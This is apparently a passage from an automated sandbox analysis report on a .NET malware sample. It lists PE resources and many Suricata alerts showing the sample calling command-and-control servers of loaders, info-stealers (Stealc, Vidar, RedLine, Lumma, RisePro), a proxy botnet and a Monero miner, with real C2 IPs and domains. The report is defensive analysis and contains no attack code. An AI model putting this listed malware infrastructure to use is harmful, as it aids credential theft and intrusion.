RT_DIALOG	0x6c598c	0x10c	data	English	United States	0.5111940298507462
RT_DIALOG	0x6c5a98	0x1ee	data	English	United States	0.38866396761133604
RT_DIALOG	0x6c5c88	0xe4	data	English	United States	0.6447368421052632
RT_DIALOG	0x6c5d6c	0xda	data	English	United States	0.6422018348623854
RT_DIALOG	0x6c5e48	0xb4	data	English	United States	0.6888888888888889
RT_DIALOG	0x6c5efc	0x120	data	English	United States	0.5381944444444444
RT_DIALOG	0x6c601c	0x202	data	English	United States	0.42217898832684825
RT_DIALOG	0x6c6220	0xf8	data	English	United States	0.6653225806451613
RT_DIALOG	0x6c6318	0xee	data	English	United States	0.6512605042016807
RT_DIALOG	0x6c6408	0xb4	data	English	United States	0.6888888888888889
RT_DIALOG	0x6c64bc	0x120	data	English	United States	0.5381944444444444
RT_DIALOG	0x6c65dc	0x202	data	English	United States	0.42217898832684825
RT_DIALOG	0x6c67e0	0xf8	data	English	United States	0.6653225806451613
RT_DIALOG	0x6c68d8	0xee	data	English	United States	0.6512605042016807
RT_STRING	0x6c69c8	0x68	data	English	United States	0.6538461538461539
RT_STRING	0x6c6a30	0xd4	data	English	United States	0.5283018867924528
RT_STRING	0x6c6b04	0xa4	data	English	United States	0.6524390243902439
RT_STRING	0x6c6ba8	0x2ac	data	English	United States	0.45614035087719296
RT_STRING	0x6c6e54	0x34c	data	English	United States	0.4218009478672986
RT_STRING	0x6c71a0	0x294	data	English	United States	0.4106060606060606
RT_RCDATA	0x6c7434	0x10	data			1.5
RT_RCDATA	0x6c7444	0x2c4	data			0.6384180790960452
RT_RCDATA	0x6c7708	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0x6c7734	0x5a	data			0.7555555555555555
RT_VERSION	0x6c7790	0x35c	data			0.4372093023255814
RT_HTML	0x6c7aec	0x3ab	HTML document, ISO-8859 text, with CRLF line terminators	German	Germany	0.402555910543131
RT_HTML	0x6c7e98	0x395	HTML document, ASCII text, with CRLF line terminators	German	Germany	0.3969465648854962
RT_MANIFEST	0x6c8230	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347
None	0x6c841c	0x10	data	German	Germany	1.5
None	0x6c842c	0x1e	data	German	Germany	1.0666666666666667
None	0x6c844c	0xc	data	German	Germany	1.5
None	0x6c8458	0xc	data	German	Germany	1.5
None	0x6c8464	0xa	data	German	Germany	1.8

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-06T08:16:57.615248+0200	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:16:58.849489+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	49785	95.179.241.203	443	TCP
2024-09-06T08:17:01.762781+0200	2054710	ET MALWARE PrivateLoader CnC Response	1	185.143.223.148	80	192.168.2.4	49730	TCP
2024-09-06T08:17:02.443374+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:17:03.886504+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:17:05.284014+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49735	46.29.235.52	80	TCP
2024-09-06T08:17:05.302099+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	46.29.235.52	80	TCP
2024-09-06T08:17:05.426257+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49739	31.41.244.9	80	TCP
2024-09-06T08:17:05.651221+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:05.653167+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49734	176.113.115.33	80	TCP
2024-09-06T08:17:05.801907+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:05.912660+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49742	176.111.174.109	80	TCP
2024-09-06T08:17:06.147167+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49744	76.76.21.142	443	TCP
2024-09-06T08:17:06.523410+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:09.265600+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:14.552996+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:14.928920+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:17.493716+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:25.603904+0200	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:17:35.274707+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:35.610321+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:35.851464+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	49753	TCP
2024-09-06T08:17:36.001826+0200	2046266	ET MALWARE [ANY.RUN] RisePro TCP (Token)	1	77.105.164.24	50505	192.168.2.4	49754	TCP
2024-09-06T08:17:36.064303+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:36.606867+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	49753	TCP
2024-09-06T08:17:37.746480+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:38.099725+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:39.204334+0200	2046269	ET MALWARE [ANY.RUN] RisePro TCP (Activity)	1	192.168.2.4	49754	77.105.164.24	50505	TCP
2024-09-06T08:17:39.204334+0200	2049060	ET MALWARE RisePro TCP Heartbeat Packet	1	192.168.2.4	49754	77.105.164.24	50505	TCP
2024-09-06T08:17:40.437187+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:40.437187+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:40.629212+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	147.45.47.36	30035	192.168.2.4	49760	TCP
2024-09-06T08:17:40.846715+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	147.45.47.36	30035	192.168.2.4	49760	TCP
2024-09-06T08:17:43.561688+0200	2055482	ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop)	1	192.168.2.4	49325	1.1.1.1	53	UDP
2024-09-06T08:17:44.001475+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:44.078559+0200	2055492	ET MALWARE Lumma Stealer Domain in TLS SNI (stamppreewntnq .shop)	1	192.168.2.4	49762	188.114.96.3	443	TCP
2024-09-06T08:17:45.199335+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49762	188.114.96.3	443	TCP
2024-09-06T08:17:45.199335+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49762	188.114.96.3	443	TCP
2024-09-06T08:17:45.292254+0200	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	192.168.2.4	56325	1.1.1.1	53	UDP
2024-09-06T08:17:45.333680+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:45.381116+0200	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	192.168.2.4	59406	1.1.1.1	53	UDP
2024-09-06T08:17:45.452328+0200	2055475	ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)	1	192.168.2.4	55687	1.1.1.1	53	UDP
2024-09-06T08:17:45.787993+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:45.937006+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:46.093705+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:46.093705+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:46.294875+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:46.938158+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:46.944969+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	147.45.47.36	30035	192.168.2.4	49760	TCP
2024-09-06T08:17:46.945507+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:46.976333+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:17:47.069344+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49768	104.21.10.172	443	TCP
2024-09-06T08:17:47.993174+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49768	104.21.10.172	443	TCP
2024-09-06T08:17:47.993174+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49768	104.21.10.172	443	TCP
2024-09-06T08:17:48.059110+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:17:48.059110+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:17:48.746391+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:49.281472+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:50.045273+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:17:50.948582+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:17:50.948582+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:17:54.477012+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49775	46.29.235.52	80	TCP
2024-09-06T08:17:54.976335+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.173777+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.329054+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49775	46.29.235.52	80	TCP
2024-09-06T08:17:55.371395+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.652348+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.876660+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:56.069257+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:59.573153+0200	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	192.168.2.4	53819	1.1.1.1	53	UDP
2024-09-06T08:17:59.641889+0200	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	192.168.2.4	55415	1.1.1.1	53	UDP
2024-09-06T08:18:00.282811+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:00.452563+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:00.452563+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:01.603284+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49778	147.45.126.10	80	TCP
2024-09-06T08:18:02.765885+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	147.45.126.10	80	192.168.2.4	49778	TCP
2024-09-06T08:18:02.863937+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:03.277052+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:03.277052+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:04.960658+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:05.307029+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:05.437325+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.100	80	192.168.2.4	49781	TCP
2024-09-06T08:18:05.686055+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:05.807668+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.100	80	192.168.2.4	49781	TCP
2024-09-06T08:18:07.618407+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:07.815168+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:07.817424+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	147.45.126.10	80	192.168.2.4	49778	TCP
2024-09-06T08:18:08.135848+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:08.140856+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:08.190771+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:09.061966+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:14.428216+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:14.634453+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.064987+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.434430+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.638971+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:16.599254+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.4	64650	1.1.1.1	53	UDP
2024-09-06T08:18:17.193161+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:17.632142+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:17.827056+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:19.642780+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:20.967521+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:21.893448+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49786	185.215.113.100	80	TCP
2024-09-06T08:18:23.079597+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49786	185.215.113.100	80	TCP
2024-09-06T08:18:24.038381+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49787	185.215.113.100	80	TCP
2024-09-06T08:18:24.282912+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:24.478569+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:24.671311+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:25.320837+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49787	185.215.113.100	80	TCP
2024-09-06T08:18:27.550383+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49789	46.29.235.52	80	TCP
2024-09-06T08:18:28.772478+0200	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49788	194.163.35.141	443	TCP
2024-09-06T08:18:30.005748+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49789	46.29.235.52	80	TCP
2024-09-06T08:18:30.130566+0200	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	192.168.2.4	52984	1.1.1.1	53	UDP
2024-09-06T08:18:30.198385+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:30.201414+0200	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	192.168.2.4	54478	1.1.1.1	53	UDP
2024-09-06T08:18:30.584663+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:30.993112+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49790	104.21.10.172	443	TCP
2024-09-06T08:18:31.504760+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49790	104.21.10.172	443	TCP
2024-09-06T08:18:31.504760+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49790	104.21.10.172	443	TCP
2024-09-06T08:18:32.741642+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.4	49791	104.21.10.172	443	TCP
2024-09-06T08:18:33.145166+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49791	104.21.10.172	443	TCP
2024-09-06T08:18:33.145166+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49791	104.21.10.172	443	TCP
2024-09-06T08:18:33.563501+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	49792	45.132.206.251	80	TCP
2024-09-06T08:18:36.707477+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:36.707477+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:40.270228+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:40.270228+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:40.743534+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	147.45.126.10	80	192.168.2.4	49796	TCP
2024-09-06T08:18:41.199199+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-06T08:18:41.199199+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-06T08:18:42.042457+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-06T08:18:42.042457+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-06T08:18:43.066701+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-06T08:18:43.066701+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-06T08:18:43.985833+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-06T08:18:43.985833+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-06T08:18:44.454839+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	147.45.126.10	80	192.168.2.4	49796	TCP
2024-09-06T08:18:44.883966+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-06T08:18:44.883966+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-06T08:18:45.892784+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-06T08:18:45.892784+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-06T08:18:46.776463+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-06T08:18:46.776463+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-06T08:18:47.764303+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-06T08:18:47.764303+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-06T08:18:48.700082+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-06T08:18:48.700082+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-06T08:18:49.630487+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49811	185.196.8.214	80	TCP
2024-09-06T08:18:49.630487+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49811	185.196.8.214	80	TCP
2024-09-06T08:18:50.741407+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49812	185.196.8.214	80	TCP
2024-09-06T08:18:50.741407+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49812	185.196.8.214	80	TCP
2024-09-06T08:18:51.640467+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49813	185.196.8.214	80	TCP
2024-09-06T08:18:51.640467+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49813	185.196.8.214	80	TCP
2024-09-06T08:18:52.555633+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49814	185.196.8.214	80	TCP
2024-09-06T08:18:52.555633+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49814	185.196.8.214	80	TCP
2024-09-06T08:18:53.494583+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49815	185.196.8.214	80	TCP
2024-09-06T08:18:53.494583+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49815	185.196.8.214	80	TCP
2024-09-06T08:18:54.397195+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49816	185.196.8.214	80	TCP
2024-09-06T08:18:54.397195+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49816	185.196.8.214	80	TCP
2024-09-06T08:18:55.328450+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49817	185.196.8.214	80	TCP
2024-09-06T08:18:55.328450+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49817	185.196.8.214	80	TCP
2024-09-06T08:18:56.234499+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49818	185.196.8.214	80	TCP
2024-09-06T08:18:56.234499+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49818	185.196.8.214	80	TCP
2024-09-06T08:18:57.135522+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49819	185.196.8.214	80	TCP
2024-09-06T08:18:57.135522+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49819	185.196.8.214	80	TCP
2024-09-06T08:18:58.023839+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49820	185.196.8.214	80	TCP
2024-09-06T08:18:58.023839+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49820	185.196.8.214	80	TCP
2024-09-06T08:18:58.906476+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49821	185.196.8.214	80	TCP
2024-09-06T08:18:58.906476+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49821	185.196.8.214	80	TCP
